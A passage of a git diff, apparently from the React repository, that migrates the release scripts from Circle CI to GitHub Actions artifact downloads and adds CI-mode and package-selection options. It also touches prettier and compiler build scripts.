-  assert(s_inited);
-  T *obj = (T*)pthread_getspecific(s_key);
-  if (obj == nullptr) {
-    obj = (T*)malloc(sizeof(T));
-    T::Create(obj);
-    ThreadLocalSetValue(s_key, obj);
-#ifdef __APPLE__
-    ThreadLocalSetCleanupHandler(s_cleanup_key, s_key,
-                                 ThreadLocalSingletonOnThreadCleanup<T>);
-#endif
-  }
-  return obj;
-}
-
-template<typename T>
-pthread_key_t ThreadLocalSingleton<T>::s_key;
-template<typename T>
-bool ThreadLocalSingleton<T>::s_inited = false;
-
-#ifdef __APPLE__
-template<typename T>
-pthread_key_t ThreadLocalSingleton<T>::s_cleanup_key;
-#endif
-
-///////////////////////////////////////////////////////////////////////////////
-// some classes don't need new/delete at all
-
-template<typename T, bool throwOnNull = true>
-class ThreadLocalProxy {
-public:
-  /**
-   * Constructor that has to be called from a thread-neutral place.
-   */
-  ThreadLocalProxy() : m_key(0) {
-    ThreadLocalCreateKey(&m_key, nullptr);
-  }
-
-  T *get() const {
-    T *obj = (T*)pthread_getspecific(m_key);
-    if (obj == nullptr && throwOnNull) {
-      throw std::runtime_error("ThreadLocalProxy::get() called before set()");
-    }
-    return obj;
-  }
-
-  void set(T* obj) {
-    ThreadLocalSetValue(m_key, obj);
-  }
-
-  bool isNull() const { return pthread_getspecific(m_key) == nullptr; }
-
-  void destroy() {
-    ThreadLocalSetValue(m_key, nullptr);
-  }
-
-  /**
-   * Access object's member or method through this operator overload.
-   */
-  T *operator->() const {
-    return get();
-  }
-
-  T &operator*() const {
-    return *get();
-  }
-
-public:
-  pthread_key_t m_key;
-};
-
-/**
- * The emulation version of the thread-local macros
- */
-#define DECLARE_THREAD_LOCAL(T, f) HPHP::ThreadLocal<T> f
-#define IMPLEMENT_THREAD_LOCAL(T, f) HPHP::ThreadLocal<T> f
-
-#define DECLARE_THREAD_LOCAL_NO_CHECK(T, f) HPHP::ThreadLocalNoCheck<T> f
-#define IMPLEMENT_THREAD_LOCAL_NO_CHECK(T, f) HPHP::ThreadLocalNoCheck<T> f
-
-#define DECLARE_THREAD_LOCAL_PROXY(T, N, f) HPHP::ThreadLocalProxy<T, N> f
-#define IMPLEMENT_THREAD_LOCAL_PROXY(T, N, f) HPHP::ThreadLocalProxy<T, N> f
-
-#endif /* USE_GCC_FAST_TLS */
-
-///////////////////////////////////////////////////////////////////////////////
-}
-
-#endif // incl_HPHP_THREAD_LOCAL_H_
diff --git a/scripts/prettier/index.js b/scripts/prettier/index.js
index fe508d91bc28..81786aecc081 100644
--- a/scripts/prettier/index.js
+++ b/scripts/prettier/index.js
@@ -51,10 +51,14 @@ const ignoredPathsListedInPrettierIgnoreInGlobFormat =
   });
 
 const files = glob
-  .sync('**/*.js', {
+  .sync('**/*.{js,jsx,ts,tsx}', {
     ignore: [
+      '**/*.d.ts',
       '**/node_modules/**',
       '**/cjs/**',
+      '**/dist/**',
+      '**/__snapshots__/**',
+      'packages/**/*.ts', // runtime prettier uses Flow parser
       ...ignoredPathsListedInPrettierIgnoreInGlobFormat,
     ],
   })
diff --git a/scripts/print-warnings/print-warnings.js b/scripts/print-warnings/print-warnings.js
index 69b986b3a0d5..62f248d9987e 100644
--- a/scripts/print-warnings/print-warnings.js
+++ b/scripts/print-warnings/print-warnings.js
@@ -68,7 +68,6 @@ function transform(file, enc, cb) {
 gs([
   'packages/**/*.js',
   '!packages/*/npm/**/*.js',
-  '!packages/shared/consoleWithStackDev.js',
   '!packages/react-devtools*/**/*.js',
   '!**/__tests__/**/*.js',
   '!**/__mocks__/**/*.js',
diff --git a/scripts/react-compiler/build-compiler.sh b/scripts/react-compiler/build-compiler.sh
new file mode 100755
index 000000000000..f73258646266
--- /dev/null
+++ b/scripts/react-compiler/build-compiler.sh
@@ -0,0 +1,14 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+if [[ "$REACT_CLASS_EQUIVALENCE_TEST" == "true" ]]; then
+  exit 0
+fi
+
+echo "Building babel-plugin-react-compiler..."
+yarn --cwd compiler workspace babel-plugin-react-compiler build --dts
diff --git a/scripts/react-compiler/link-compiler.sh b/scripts/react-compiler/link-compiler.sh
new file mode 100755
index 000000000000..987209688783
--- /dev/null
+++ b/scripts/react-compiler/link-compiler.sh
@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+if [[ "$REACT_CLASS_EQUIVALENCE_TEST" == "true" ]]; then
+  exit 0
+fi
+
+HERE=$(pwd)
+
+cd compiler/packages/babel-plugin-react-compiler && yarn --silent link && cd "$HERE"
+
+yarn --silent link babel-plugin-react-compiler
diff --git a/scripts/release/README.md b/scripts/release/README.md
index 119d62c6da25..77042a5dac8b 100644
--- a/scripts/release/README.md
+++ b/scripts/release/README.md
@@ -18,9 +18,9 @@ If this is your first time running the release scripts, go to the `scripts/relea
 The release process consists of several phases, each one represented by one of the scripts below.
 
 A typical release cycle goes like this:
-1. When a commit is pushed to the React repo, [Circle CI](https://circleci.com/gh/facebook/react/) will build all release bundles and run unit tests against both the source code and the built bundles.
+1. When a commit is pushed to the React repo, [GitHub Actions](https://github.com/facebook/react/actions) will build all release bundles and run unit tests against both the source code and the built bundles.
 2. Each weekday, an automated CI cron job publishes prereleases to the `next` and `experimental` channels, from tip of the main branch.
-   1. You can also [trigger an automated prerelease via the command line](#trigger-an-automated-prerelease), instead of waiting until the next time the cron job runs.
+   1. You can also [trigger an automated prerelease via the GitHub UI](#trigger-an-automated-prerelease), instead of waiting until the next time the cron job runs.
    2. For advanced cases, you can [**manually prepare and publish to the `next` channel**](#publishing-release) using the [`prepare-release-from-ci`](#prepare-release-from-ci) and [`publish`](#publish) scripts; or to the [**`experimental` channel**](#publishing-an-experimental-release) using the same scripts (but different build artifacts).
 3. Finally, a "next" release can be [**promoted to stable**](#publishing-a-stable-release)<sup>1</sup> using the [`prepare-release-from-npm`](#prepare-release-from-npm) and [`publish`](#publish) scripts. (This process is always manual.)
 
@@ -34,13 +34,15 @@ The high level process of creating releases is [documented below](#process). Ind
 
 ## Trigger an Automated Prerelease
 
-If your code lands in the main branch, it will be automatically published to the prerelease channels within the next weekday. However, if you want to immediately publish a prerelease, you can trigger the job to run immediately:
+If your code lands in the main branch, it will be automatically published to the prerelease channels within the next weekday. However, if you want to immediately publish a prerelease, you can trigger the job to run immediately via the GitHub UI:
 
-```sh
-yarn publish-prereleases
-```
+1. Wait for the commit you want to release to finish its [(Runtime) Build and Test workflow](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml), as the prerelease script needs to download the build from that workflow.
+2. Copy the full git sha of whichever commit you are trying to release
+3. Go to https://github.com/facebook/react/actions/workflows/runtime_prereleases_manual.yml
+4. Paste the git sha into the "Run workflow" dropdown
+5. Let the job finish and it will be released on npm
 
-This will grab the most recent revision on the main branch and publish it to the Next and Experimental channels.
+This will grab the specified revision on the main branch and publish it to the Next and Experimental channels.
 ## Publishing Without Tags
 
 The sections below include meaningful `--tags` in the instructions. However, keep in mind that **the `--tags` arguments is optional**, and you can omit it if you don't want to tag the release on npm at all. This can be useful when preparing breaking changes.
diff --git a/scripts/release/download-experimental-build.js b/scripts/release/download-experimental-build.js
index c57ec4f1bf66..db1804e9c721 100755
--- a/scripts/release/download-experimental-build.js
+++ b/scripts/release/download-experimental-build.js
@@ -2,31 +2,69 @@
 
 'use strict';
 
-const {join} = require('path');
+const {join, relative} = require('path');
+const {handleError} = require('./utils');
+const yargs = require('yargs');
+const clear = require('clear');
+const theme = require('./theme');
 const {
-  addDefaultParamValue,
-  getPublicPackages,
-  handleError,
-} = require('./utils');
+  downloadBuildArtifacts,
+} = require('./shared-commands/download-build-artifacts');
 
-const downloadBuildArtifacts = require('./shared-commands/download-build-artifacts');
-const parseParams = require('./shared-commands/parse-params');
-const printSummary = require('./download-experimental-build-commands/print-summary');
+const argv = yargs.wrap(yargs.terminalWidth()).options({
+  releaseChannel: {
+    alias: 'r',
+    describe: 'Download the given release channel.',
+    requiresArg: true,
+    type: 'string',
+    choices: ['experimental', 'stable'],
+    default: 'experimental',
+  },
+  commit: {
+    alias: 'c',
+    describe: 'Commit hash to download.',
+    requiresArg: true,
+    demandOption: true,
+    type: 'string',
+  },
+  noVerify: {
+    describe: 'Skip verification',
+    requiresArg: false,
+    type: 'boolean',
+    default: false,
+  },
+}).argv;
 
-const run = async () => {
-  try {
-    addDefaultParamValue('-r', '--releaseChannel', 'experimental');
+function printSummary(commit) {
+  const commandPath = relative(
+    process.env.PWD,
+    join(__dirname, '../download-experimental-build.js')
+  );
+
+  clear();
 
-    const params = await parseParams();
-    params.cwd = join(__dirname, '..', '..');
-    params.packages = await getPublicPackages(true);
+  const message = theme`
+    {caution An experimental build has been downloaded!}
 
-    await downloadBuildArtifacts(params);
+    You can download this build again by running:
+    {path   ${commandPath}} --commit={commit ${commit}}
+  `;
 
-    printSummary(params);
+  console.log(message.replace(/\n +/g, '\n').trim());
+}
+
+const main = async () => {
+  const {commit, releaseChannel, noVerify} = argv;
+  try {
+    await downloadBuildArtifacts({
+      commit,
+      releaseChannel,
+      noVerify,
+    });
+    printSummary(argv.commit);
   } catch (error) {
     handleError(error);
   }
 };
 
-run();
+main();
diff --git a/scripts/release/prepare-release-from-ci.js b/scripts/release/prepare-release-from-ci.js
index 80dd05193078..19943e36d47f 100755
--- a/scripts/release/prepare-release-from-ci.js
+++ b/scripts/release/prepare-release-from-ci.js
@@ -5,7 +5,9 @@
 const {join} = require('path');
 const {addDefaultParamValue, handleError} = require('./utils');
 
-const downloadBuildArtifacts = require('./shared-commands/download-build-artifacts');
+const {
+  downloadBuildArtifacts,
+} = require('./shared-commands/download-build-artifacts');
 const parseParams = require('./shared-commands/parse-params');
 const printPrereleaseSummary = require('./shared-commands/print-prerelease-summary');
 const testPackagingFixture = require('./shared-commands/test-packaging-fixture');
@@ -17,7 +19,10 @@ const run = async () => {
     const params = await parseParams();
     params.cwd = join(__dirname, '..', '..');
 
-    await downloadBuildArtifacts(params);
+    await downloadBuildArtifacts({
+      commit: params.commit,
+      releaseChannel: params.releaseChannel ?? process.env.RELEASE_CHANNEL,
+    });
 
     if (!params.skipTests) {
       await testPackagingFixture(params);
diff --git a/scripts/release/prepare-release-from-npm-commands/confirm-stable-version-numbers.js b/scripts/release/prepare-release-from-npm-commands/confirm-stable-version-numbers.js
index dd1229634b10..6bf49132149a 100644
--- a/scripts/release/prepare-release-from-npm-commands/confirm-stable-version-numbers.js
+++ b/scripts/release/prepare-release-from-npm-commands/confirm-stable-version-numbers.js
@@ -7,7 +7,7 @@ const semver = require('semver');
 const theme = require('../theme');
 const {confirm} = require('../utils');
 
-const run = async ({skipPackages}, versionsMap) => {
+const run = async ({ci, skipPackages}, versionsMap) => {
   const groupedVersionsMap = new Map();
 
   // Group packages with the same source versions.
@@ -22,46 +22,46 @@ const run = async ({skipPackages}, versionsMap) => {
     }
   });
 
-  // Prompt user to confirm or override each version group.
-  const entries = [...groupedVersionsMap.entries()];
-  for (let i = 0; i < entries.length; i++) {
-    const [bestGuessVersion, packages] = entries[i];
-    const packageNames = packages.map(name => theme.package(name)).join(', ');
+  if (ci !== true) {
+    // Prompt user to confirm or override each version group if not running in CI.
+    const entries = [...groupedVersionsMap.entries()];
+    for (let i = 0; i < entries.length; i++) {
+      const [bestGuessVersion, packages] = entries[i];
+      const packageNames = packages.map(name => theme.package(name)).join(', ');
 
-    let version = bestGuessVersion;
-    if (
-      skipPackages.some(skipPackageName =>
-        packageNames.includes(skipPackageName)
-      )
-    ) {
-      await confirm(
-        theme`{spinnerSuccess ✓} Version for ${packageNames} will remain {version ${bestGuessVersion}}`
-      );
-    } else {
-      const defaultVersion = bestGuessVersion
-        ? theme.version(` (default ${bestGuessVersion})`)
-        : '';
-      version =
-        (await prompt(
-          theme`{spinnerSuccess ✓} Version for ${packageNames}${defaultVersion}: `
-        )) || bestGuessVersion;
-      prompt.done();
-    }
+      let version = bestGuessVersion;
+      if (
+        skipPackages.some(skipPackageName => packages.includes(skipPackageName))
+      ) {
+        await confirm(
+          theme`{spinnerSuccess ✓} Version for ${packageNames} will remain {version ${bestGuessVersion}}`
+        );
+      } else {
+        const defaultVersion = bestGuessVersion
+          ? theme.version(` (default ${bestGuessVersion})`)
+          : '';
+        version =
+          (await prompt(
+            theme`{spinnerSuccess ✓} Version for ${packageNames}${defaultVersion}: `
+          )) || bestGuessVersion;
+        prompt.done();
+      }
 
-    // Verify a valid version has been supplied.
-    try {
-      semver(version);
+      // Verify a valid version has been supplied.
+      try {
+        semver(version);
 
-      packages.forEach(packageName => {
-        versionsMap.set(packageName, version);
-      });
-    } catch (error) {
-      console.log(
-        theme`{spinnerError ✘} Version {version ${version}} is invalid.`
-      );
+        packages.forEach(packageName => {
+          versionsMap.set(packageName, version);
+        });
+      } catch (error) {
+        console.log(
+          theme`{spinnerError ✘} Version {version ${version}} is invalid.`
+        );
 
-      // Prompt again
-      i--;
+        // Prompt again
+        i--;
+      }
     }
   }
 };
diff --git a/scripts/release/prepare-release-from-npm-commands/guess-stable-version-numbers.js b/scripts/release/prepare-release-from-npm-commands/guess-stable-version-numbers.js
index a3cde5d1c4fc..c0072b663717 100644
--- a/scripts/release/prepare-release-from-npm-commands/guess-stable-version-numbers.js
+++ b/scripts/release/prepare-release-from-npm-commands/guess-stable-version-numbers.js
@@ -5,7 +5,10 @@
 const semver = require('semver');
 const {execRead, logPromise} = require('../utils');
 
-const run = async ({cwd, packages, skipPackages}, versionsMap) => {
+const run = async (
+  {cwd, packages, skipPackages, ci, publishVersion},
+  versionsMap
+) => {
   const branch = await execRead('git branch | grep \\* | cut -d " " -f2', {
     cwd,
   });
@@ -13,30 +16,41 @@ const run = async ({cwd, packages, skipPackages}, versionsMap) => {
   for (let i = 0; i < packages.length; i++) {
     const packageName = packages[i];
 
-    try {
-      // In case local package JSONs are outdated,
-      // guess the next version based on the latest NPM release.
-      const version = await execRead(`npm show ${packageName} version`);
-
-      if (skipPackages.includes(packageName)) {
-        versionsMap.set(packageName, version);
+    if (ci === true) {
+      if (publishVersion != null) {
+        versionsMap.set(packageName, publishVersion);
       } else {
-        const {major, minor, patch} = semver(version);
-
-        // Guess the next version by incrementing patch.
-        // The script will confirm this later.
-        // By default, new releases from mains should increment the minor version number,
-        // and patch releases should be done from branches.
-        if (branch === 'main') {
-          versionsMap.set(packageName, `${major}.${minor + 1}.0`);
+        console.error(
+          'When running in CI mode, a publishVersion must be supplied'
+        );
+        process.exit(1);
+      }
+    } else {
+      try {
+        // In case local package JSONs are outdated,
+        // guess the next version based on the latest NPM release.
+        const version = await execRead(`npm show ${packageName} version`);
+
+        if (skipPackages.includes(packageName)) {
+          versionsMap.set(packageName, version);
         } else {
-          versionsMap.set(packageName, `${major}.${minor}.${patch + 1}`);
+          const {major, minor, patch} = semver(version);
+
+          // Guess the next version by incrementing patch.
+          // The script will confirm this later.
+          // By default, new releases from mains should increment the minor version number,
+          // and patch releases should be done from branches.
+          if (branch === 'main') {
+            versionsMap.set(packageName, `${major}.${minor + 1}.0`);
+          } else {
+            versionsMap.set(packageName, `${major}.${minor}.${patch + 1}`);
+          }
         }
+      } catch (error) {
+        // If the package has not yet been published,
+        // we'll require a version number to be entered later.
+        versionsMap.set(packageName, null);
       }
-    } catch (error) {
-      // If the package has not yet been published,
-      // we'll require a version number to be entered later.
-      versionsMap.set(packageName, null);
     }
   }
 };
diff --git a/scripts/release/prepare-release-from-npm-commands/parse-params.js b/scripts/release/prepare-release-from-npm-commands/parse-params.js
index b9aa1a4f5e7e..10dbfb4e51f5 100644
--- a/scripts/release/prepare-release-from-npm-commands/parse-params.js
+++ b/scripts/release/prepare-release-from-npm-commands/parse-params.js
@@ -13,6 +13,13 @@ const paramDefinitions = [
       'Skip NPM and use the build already present in "build/node_modules".',
     defaultValue: false,
   },
+  {
+    name: 'onlyPackages',
+    type: String,
+    multiple: true,
+    description: 'Packages to include in publishing',
+    defaultValue: [],
+  },
   {
     name: 'skipPackages',
     type: String,
@@ -32,12 +39,24 @@ const paramDefinitions = [
     description:
       'Version of published "next" release (e.g. 0.0.0-0e526bcec-20210202)',
   },
+  {
+    name: 'publishVersion',
+    type: String,
+    description: 'Version to publish',
+  },
+  {
+    name: 'ci',
+    type: Boolean,
+    description: 'Run in automated environment, without interactive prompts.',
+    defaultValue: false,
+  },
 ];
 
 module.exports = () => {
   const params = commandLineArgs(paramDefinitions);
 
   splitCommaParams(params.skipPackages);
+  splitCommaParams(params.onlyPackages);
 
   return params;
 };
diff --git a/scripts/release/prepare-release-from-npm-commands/update-stable-version-numbers.js b/scripts/release/prepare-release-from-npm-commands/update-stable-version-numbers.js
index 29affd52a829..eef68255e2ba 100644
--- a/scripts/release/prepare-release-from-npm-commands/update-stable-version-numbers.js
+++ b/scripts/release/prepare-release-from-npm-commands/update-stable-version-numbers.js
@@ -9,7 +9,7 @@ const {join, relative} = require('path');
 const {confirm, execRead, printDiff} = require('../utils');
 const theme = require('../theme');
 
-const run = async ({cwd, packages, version}, versionsMap) => {
+const run = async ({cwd, packages, version, ci}, versionsMap) => {
   const nodeModulesPath = join(cwd, 'build/node_modules');
 
   // Cache all package JSONs for easy lookup below.
@@ -107,66 +107,58 @@ const run = async ({cwd, packages, version}, versionsMap) => {
     printDependencies(packageJSON.dependencies, 'dependency');
     printDependencies(packageJSON.peerDependencies, 'peer');
   }
-  await confirm('Do the versions above look correct?');
+  if (ci !== true) {
+    await confirm('Do the versions above look correct?');
+  }
 
   clear();
 
-  // A separate "React version" is used for the embedded renderer version to support DevTools,
-  // since it needs to distinguish between different version ranges of React.
-  // We need to replace it as well as the "next" version number.
-  const buildInfoPath = join(nodeModulesPath, 'react', 'build-info.json');
-  const {reactVersion} = await readJson(buildInfoPath);
-
-  if (!reactVersion) {
-    console.error(
-      theme`{error Unsupported or invalid build metadata in} {path build/node_modules/react/build-info.json}` +
-        theme`{error . This could indicate that you have specified an outdated "next" version.}`
+  if (packages.includes('react')) {
+    // We print the diff to the console for review,
+    // but it can be large so let's also write it to disk.
+    const diffPath = join(cwd, 'build', 'temp.diff');
+    let diff = '';
+    let numFilesModified = 0;
+
+    // Find-and-replace hardcoded version (in built JS) for renderers.
+    for (let i = 0; i < packages.length; i++) {
+      const packageName = packages[i];
+      const packagePath = join(nodeModulesPath, packageName);
+
+      let files = await execRead(
+        `find ${packagePath} -name '*.js' -exec echo {} \\;`,
+        {cwd}
+      );
+      files = files.split('\n');
+      files.forEach(path => {
+        const newStableVersion = versionsMap.get(packageName);
+        const beforeContents = readFileSync(path, 'utf8', {cwd});
+        let afterContents = beforeContents;
+        // Replace all "next" version numbers (e.g. header @license).
+        while (afterContents.indexOf(version) >= 0) {
+          afterContents = afterContents.replace(version, newStableVersion);
+        }
+        if (beforeContents !== afterContents) {
+          numFilesModified++;
+          // Using a relative path for diff helps with the snapshot test
+          diff += printDiff(relative(cwd, path), beforeContents, afterContents);
+          writeFileSync(path, afterContents, {cwd});
+        }
+      });
+    }
+    writeFileSync(diffPath, diff, {cwd});
+    console.log(theme.header(`\n${numFilesModified} files have been updated.`));
+    console.log(
+      theme`A full diff is available at {path ${relative(cwd, diffPath)}}.`
     );
-    process.exit(1);
-  }
-
-  // We print the diff to the console for review,
-  // but it can be large so let's also write it to disk.
-  const diffPath = join(cwd, 'build', 'temp.diff');
-  let diff = '';
-  let numFilesModified = 0;
-
-  // Find-and-replace hardcoded version (in built JS) for renderers.
-  for (let i = 0; i < packages.length; i++) {
-    const packageName = packages[i];
-    const packagePath = join(nodeModulesPath, packageName);
-
-    let files = await execRead(
-      `find ${packagePath} -name '*.js' -exec echo {} \\;`,
-      {cwd}
+    if (ci !== true) {
+      await confirm('Do the changes above look correct?');
+    }
+  } else {
+    console.log(
+      theme`Skipping React renderer version update because React is not included in the release.`
     );
-    files = files.split('\n');
-    files.forEach(path => {
-      const newStableVersion = versionsMap.get(packageName);
-      const beforeContents = readFileSync(path, 'utf8', {cwd});
-      let afterContents = beforeContents;
-      // Replace all "next" version numbers (e.g. header @license).
-      while (afterContents.indexOf(version) >= 0) {
-        afterContents = afterContents.replace(version, newStableVersion);
-      }
-      // Replace inline renderer version numbers (e.g. shared/ReactVersion).
-      while (afterContents.indexOf(reactVersion) >= 0) {
-        afterContents = afterContents.replace(reactVersion, newStableVersion);
-      }
-      if (beforeContents !== afterContents) {
-        numFilesModified++;
-        // Using a relative path for diff helps with the snapshot test
-        diff += printDiff(relative(cwd, path), beforeContents, afterContents);
-        writeFileSync(path, afterContents, {cwd});
-      }
-    });
   }
-  writeFileSync(diffPath, diff, {cwd});
-  console.log(theme.header(`\n${numFilesModified} files have been updated.`));
-  console.log(
-    theme`A full diff is available at {path ${relative(cwd, diffPath)}}.`
-  );
-  await confirm('Do the changes above look correct?');
 
   clear();
 };
diff --git a/scripts/release/prepare-release-from-npm.js b/scripts/release/prepare-release-from-npm.js
index faada23d2bd7..bb67fddd3780 100755
--- a/scripts/release/prepare-release-from-npm.js
+++ b/scripts/release/prepare-release-from-npm.js
@@ -26,7 +26,20 @@ const run = async () => {
       params.version = await getLatestNextVersion();
     }
 
+    if (params.onlyPackages.length > 0 && params.skipPackages.length > 0) {
+      console.error(
+        '--onlyPackages and --skipPackages cannot be used together'
+      );
+      process.exit(1);
+    }
+
     params.packages = await getPublicPackages(isExperimental);
+    params.packages = params.packages.filter(packageName => {
+      if (params.onlyPackages.length > 0) {
+        return params.onlyPackages.includes(packageName);
+      }
+      return !params.skipPackages.includes(packageName);
+    });
 
     // Map of package name to upcoming stable version.
     // This Map is initially populated with guesses based on local versions.
diff --git a/scripts/release/publish-commands/confirm-version-and-tags.js b/scripts/release/publish-commands/confirm-version-and-tags.js
index 6900878da02f..2c6fed58d193 100644
--- a/scripts/release/publish-commands/confirm-version-and-tags.js
+++ b/scripts/release/publish-commands/confirm-version-and-tags.js
@@ -38,6 +38,9 @@ const run = async ({cwd, packages, tags, ci}) => {
     console.log(
       theme`• {package ${packageName}} {version ${packageJSON.version}}`
     );
+    if (ci) {
+      console.log(packageJSON);
+    }
   }
 
   if (!ci) {
diff --git a/scripts/release/publish-commands/parse-params.js b/scripts/release/publish-commands/parse-params.js
index b7196447d4da..69a53737accc 100644
--- a/scripts/release/publish-commands/parse-params.js
+++ b/scripts/release/publish-commands/parse-params.js
@@ -19,6 +19,13 @@ const paramDefinitions = [
     description: 'NPM tags to point to the new release.',
     defaultValue: ['untagged'],
   },
+  {
+    name: 'onlyPackages',
+    type: String,
+    multiple: true,
+    description: 'Packages to include in publishing',
+    defaultValue: [],
+  },
   {
     name: 'skipPackages',
     type: String,
@@ -32,11 +39,17 @@ const paramDefinitions = [
     description: 'Run in automated environment, without interactive prompts.',
     defaultValue: false,
   },
+  {
+    name: 'publishVersion',
+    type: String,
+    description: 'Version to publish',
+  },
 ];
 
 module.exports = () => {
   const params = commandLineArgs(paramDefinitions);
   splitCommaParams(params.skipPackages);
+  splitCommaParams(params.onlyPackages);
   splitCommaParams(params.tags);
   params.tags.forEach(tag => {
     switch (tag) {
diff --git a/scripts/release/publish-commands/publish-to-npm.js b/scripts/release/publish-commands/publish-to-npm.js
index d9e3b1902383..f1e62657c0c3 100644
--- a/scripts/release/publish-commands/publish-to-npm.js
+++ b/scripts/release/publish-commands/publish-to-npm.js
@@ -27,7 +27,9 @@ const run = async ({cwd, dry, tags, ci}, packageName, otp) => {
       await confirm('Is this expected?');
     }
   } else {
-    console.log(theme`{spinnerSuccess ✓} Publishing {package ${packageName}}`);
+    console.log(
+      theme`{spinnerSuccess ✓} Publishing {package ${packageName}}${dry ? ' (dry-run)' : ''}`
+    );
 
     // Publish the package and tag it.
     if (!dry) {
diff --git a/scripts/release/publish.js b/scripts/release/publish.js
index dcd31f1de779..f9e450b55920 100755
--- a/scripts/release/publish.js
+++ b/scripts/release/publish.js
@@ -23,14 +23,27 @@ const run = async () => {
   try {
     const params = parseParams();
 
-    const version = readJsonSync(
-      './build/node_modules/react/package.json'
-    ).version;
+    const version =
+      params.publishVersion ??
+      readJsonSync('./build/node_modules/react/package.json').version;
     const isExperimental = version.includes('experimental');
 
     params.cwd = join(__dirname, '..', '..');
     params.packages = await getPublicPackages(isExperimental);
 
+    if (params.onlyPackages.length > 0 && params.skipPackages.length > 0) {
+      console.error(
+        '--onlyPackages and --skipPackages cannot be used together'
+      );
+      process.exit(1);
+    }
+
+    if (params.onlyPackages.length > 0) {
+      params.packages = params.packages.filter(packageName => {
+        return params.onlyPackages.includes(packageName);
+      });
+    }
+
     // Pre-filter any skipped packages to simplify the following commands.
     // As part of doing this we can also validate that none of the skipped packages were misspelled.
     params.skipPackages.forEach(packageName => {
diff --git a/scripts/release/shared-commands/download-build-artifacts.js b/scripts/release/shared-commands/download-build-artifacts.js
index 2539abd6a629..79d4ac6c6ee2 100644
--- a/scripts/release/shared-commands/download-build-artifacts.js
+++ b/scripts/release/shared-commands/download-build-artifacts.js
@@ -1,36 +1,118 @@
-#!/usr/bin/env node
-
 'use strict';
 
-const {exec} = require('child-process-promise');
-const {existsSync} = require('fs');
 const {join} = require('path');
-const {getArtifactsList, logPromise} = require('../utils');
 const theme = require('../theme');
+const {exec} = require('child-process-promise');
+const {existsSync, mkdtempSync, readFileSync} = require('fs');
+const {logPromise} = require('../utils');
+const os = require('os');
+
+if (process.env.GH_TOKEN == null) {
+  console.log(
+    theme`{error Expected GH_TOKEN to be provided as an env variable}`
+  );
+  process.exit(1);
+}
+
+const OWNER = 'facebook';
+const REPO = 'react';
+const WORKFLOW_ID = 'runtime_build_and_test.yml';
+const GITHUB_HEADERS = `
+  -H "Accept: application/vnd.github+json" \
+  -H "Authorization: Bearer ${process.env.GH_TOKEN}" \
+  -H "X-GitHub-Api-Version: 2022-11-28"`.trim();
+
+async function executableIsAvailable(name) {
+  try {
+    await exec(`which ${name}`);
+    return true;
+  } catch (_error) {
+    return false;
+  }
+}
+
+function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+function getWorkflowId() {
+  if (
+    existsSync(join(__dirname, `../../../.github/workflows/${WORKFLOW_ID}`))
+  ) {
+    return WORKFLOW_ID;
+  } else {
+    throw new Error(
+      `Incorrect workflow ID: .github/workflows/${WORKFLOW_ID} does not exist. Please check the name of the workflow being downloaded from.`
+    );
+  }
+}
 
-const run = async ({build, cwd, releaseChannel}) => {
-  const artifacts = await getArtifactsList(build);
-  const buildArtifacts = artifacts.find(entry =>
-    entry.path.endsWith('build.tgz')
+async function getWorkflowRun(commit) {
+  const res = await exec(
+    `curl -L ${GITHUB_HEADERS} https://api.github.com/repos/${OWNER}/${REPO}/actions/workflows/${getWorkflowId()}/runs?head_sha=${commit}`
   );
 
-  if (!buildArtifacts) {
+  const json = JSON.parse(res.stdout);
+  const workflowRun = json.workflow_runs.find(run => run.head_sha === commit);
+
+  if (workflowRun == null || workflowRun.id == null) {
     console.log(
-      theme`{error The specified build (${build}) does not contain any build artifacts.}`
+      theme`{error The workflow run for the specified commit (${commit}) could not be found.}`
     );
     process.exit(1);
   }
 
-  // Download and extract artifact
-  const {CIRCLE_CI_API_TOKEN} = process.env;
-  let header = '';
-  // Add Circle CI API token to request header if available.
-  if (CIRCLE_CI_API_TOKEN != null) {
-    header = '-H "Circle-Token: ${CIRCLE_CI_API_TOKEN}" ';
+  return workflowRun;
+}
+
+async function getArtifact(workflowRunId, artifactName) {
+  const res = await exec(
+    `curl -L ${GITHUB_HEADERS} https://api.github.com/repos/${OWNER}/${REPO}/actions/runs/${workflowRunId}/artifacts?per_page=100&name=${artifactName}`
+  );
+
+  const json = JSON.parse(res.stdout);
+  const artifact = json.artifacts.find(
+    _artifact => _artifact.name === artifactName
+  );
+
+  if (artifact == null) {
+    console.log(
+      theme`{error The specified workflow run (${workflowRunId}) does not contain any build artifacts.}`
+    );
+    process.exit(1);
   }
+
+  return artifact;
+}
+
+async function processArtifact(artifact, opts) {
+  // Download and extract artifact
+  const cwd = join(__dirname, '..', '..', '..');
+  const tmpDir = mkdtempSync(join(os.tmpdir(), 'react_'));
   await exec(`rm -rf ./build`, {cwd});
   await exec(
-    `curl -L $(fwdproxy-config curl) ${buildArtifacts.url} ${header}| tar -xvz`,
+    `curl -L ${GITHUB_HEADERS} ${artifact.archive_download_url} > artifacts_combined.zip`,
+    {
+      cwd: tmpDir,
+    }
+  );
+
+  if (opts.noVerify === true) {
+    console.log(theme`{caution Skipping verification of build artifact.}`);
+  } else {
+    // Use https://cli.github.com/manual/gh_attestation_verify to verify artifact
+    if (executableIsAvailable('gh')) {
+      await exec(
+        `gh attestation verify artifacts_combined.zip --repo=${OWNER}/${REPO}`,
+        {
+          cwd: tmpDir,
+        }
+      );
+    }
+  }
+
+  await exec(
+    `unzip ${tmpDir}/artifacts_combined.zip -d . && rm build2.tgz && tar -xvzf build.tgz && rm build.tgz`,
     {
       cwd,
     }
@@ -46,30 +128,99 @@ const run = async ({build, cwd, releaseChannel}) => {
   }
   let sourceDir;
   // TODO: Rename release channel to `next`
-  if (releaseChannel === 'stable') {
+  if (opts.releaseChannel === 'stable') {
     sourceDir = 'oss-stable';
-  } else if (releaseChannel === 'experimental') {
+  } else if (opts.releaseChannel === 'experimental') {
     sourceDir = 'oss-experimental';
-  } else if (releaseChannel === 'rc') {
+  } else if (opts.releaseChannel === 'rc') {
     sourceDir = 'oss-stable-rc';
-  } else if (releaseChannel === 'latest') {
+  } else if (opts.releaseChannel === 'latest') {
     sourceDir = 'oss-stable-semver';
